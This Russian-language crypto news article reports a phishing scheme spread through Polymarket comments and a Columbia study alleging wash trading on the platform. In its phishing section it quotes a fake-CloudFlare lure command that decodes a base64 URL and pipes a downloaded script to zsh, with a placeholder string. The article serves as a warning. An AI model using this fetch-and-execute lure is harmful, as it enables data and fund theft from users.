Фишинговые ссылки в частных рынках Polymarket: пользователи поднимают тревогу

Polymarket снова в заголовках новостей, на этот раз потому, что один из его старших трейдеров под псевдонимом «25usdc» поднял тревогу по поводу схемы, использующей раздел комментариев платформы для нападения на неосторожных пользователей. 

Это происходит в критическое время для платформы Polymarket, так как она готовится вернуться на рынок США и борется за то, чтобы опередить таких конкурентов, как Kalshi. 

Трейдеры Polymarket настороже 

Согласно 25usdc, хактеры использовали раздел комментариев Polymarket для проведения мошеннической схемы, и пользователи уже потеряли более $500 000.

«Они говорят: „Почему вы не торгуете на частных рынках Polymarket? Там шансы всегда намного лучше!“» — написал 25usdc, после чего объяснил, как работает эта схема. 

По его словам, все начинается с того, что они покупают акции «Да» и «Нет» для рынка с двух разных аккаунтов. Таким образом, их комментарии остаются видимыми даже при включенном фильтре «Holders». После этого они публикуют URL-адрес своего сайта в зашифрованном виде.

Ссылка ведет неподозревающего пользователя на чистую страницу с логотипом Polymarket, где запрашивается вход по электронной почте. После подтверждения адреса электронной почты появляется новое окно, предлагающее пользователю подтвердить свою активность, имитируя CloudFlare. 

Однако 25usdc утверждает, что при нажатии кнопки «Copy» вместо этого копируется команда, похожая на эту: «curl -kfsSL $(echo ‘ENCODED_STRING==’|base64 -d)|zsh». Если пользователь совершает ошибку и вставляет ее в терминал, она сначала декодирует строку в формате base64 (URL-адрес сервера), затем загружает скрипт с этого сервера и немедленно его выполняет. 

Этот скрипт может содержать что угодно, и, как сообщается, всплывающее предупреждение не появится. В этот момент ущерб уже нанесен, и, по словам 25usdc, единственным средством защиты может быть отключение Wi-Fi. 

«В конечном итоге они собирают данные, логируют все на вашей системе и отправляют zip-файл обратно на свой сервер», — написал 25usdc. «Затем они используют эти данные для входа в ваши аккаунты и кражи ваших денег».

Другие вещи, на которые он обратил внимание, включают то, насколько тщательно действует эта группа: например, они скрывают свои следы, часто меняя кошельки, зашифровывают информацию на каждом этапе и даже отключают сервер, отправляющий полезную нагрузку и принимающий логи, когда нет активных жертв.

«Я думаю, что лучший способ решить эту проблему — разрешить проверенным пользователям проверять комментарии или внедрить систему голосов „не нравится“, которая скрывала бы посты с большим количеством негативных оценок», — заключил 25usdc, отметив, что простое предупреждая Polymarket в настоящее время отображает, что этого будет недостаточно. 

ПСА: Не существует веб-сайта Polymarket с «частными рынками» и «лучшими шансами»

Никогда не вводите свой адрес электронной почты Polymarket или код подтверждения входа ни на каком сайте, кроме нашего официального.

— Трейдеры Polymarket (@PolymarketTrade) 9 ноября 2025 г.

Новое исследование утверждает, что объем торгов Polymarket поддерживается фиктивными сделками

Как отмечает Cryptopolitan сообщал, недавно опубликованное исследование исследователей Колумбийского университета утверждает, что объем активности на Polymarket был значительно искусственно завышен за счет фиктивных сделок (wash trading). 

«Искусственные торги», как их назвали авторы, варьировались со временем, но, по их словам, в среднем составляли 25% всех покупок и продаж на Polymarket за последние три года. 

Статья не прошла рецензирование, но уже доступна на платформе открытого доступа SSRN и рассматривается Polymarket. 

Чтобы быть ясным, авторы не обвиняют Polymarket саму платформу в проведении фиктивных сделок. Однако они выделили элементы криптографической структуры биржи, которые делают это утверждение правдоподобным.  

Они также предположили, что клиенты компании могли самостоятельно участвовать в таких фиктивных сделках, пытаясь улучшить свои шансы на получение доступа к проприетарному цифровому токену, о возможности запуска которого основатель компании Шейн Коплан недавно, 8 октября, намекал. 

«Я надеюсь, что Polymarket приветствует анализ в нашей статье», — сказал Яш Канория, профессор бизнес-школы Колумбийского университета и один из четырех соавторов статьи, в электронном письме. «Фиктивные сделки не добавляют ликвидности или информации на рынок, поэтому было бы ценно отличить подлинный объем от неподлинного».

Если часть объема Polymarket действительно является «фиктивной», исследование утверждает, что это может изменить понимание относительной силы Polymarket в отрасли, а также подорвать текущее представление о том, что рынки прогнозов отражают «мудрость большой толпы».

«Потенциал масштабных фиктивных сделок означает, что объем торгов может быть ненадежным показателем подлинной активности платформы, особенно на биржах на основе криптовалют, которые могут не иметь надлежащих мер защиты», — заключили авторы.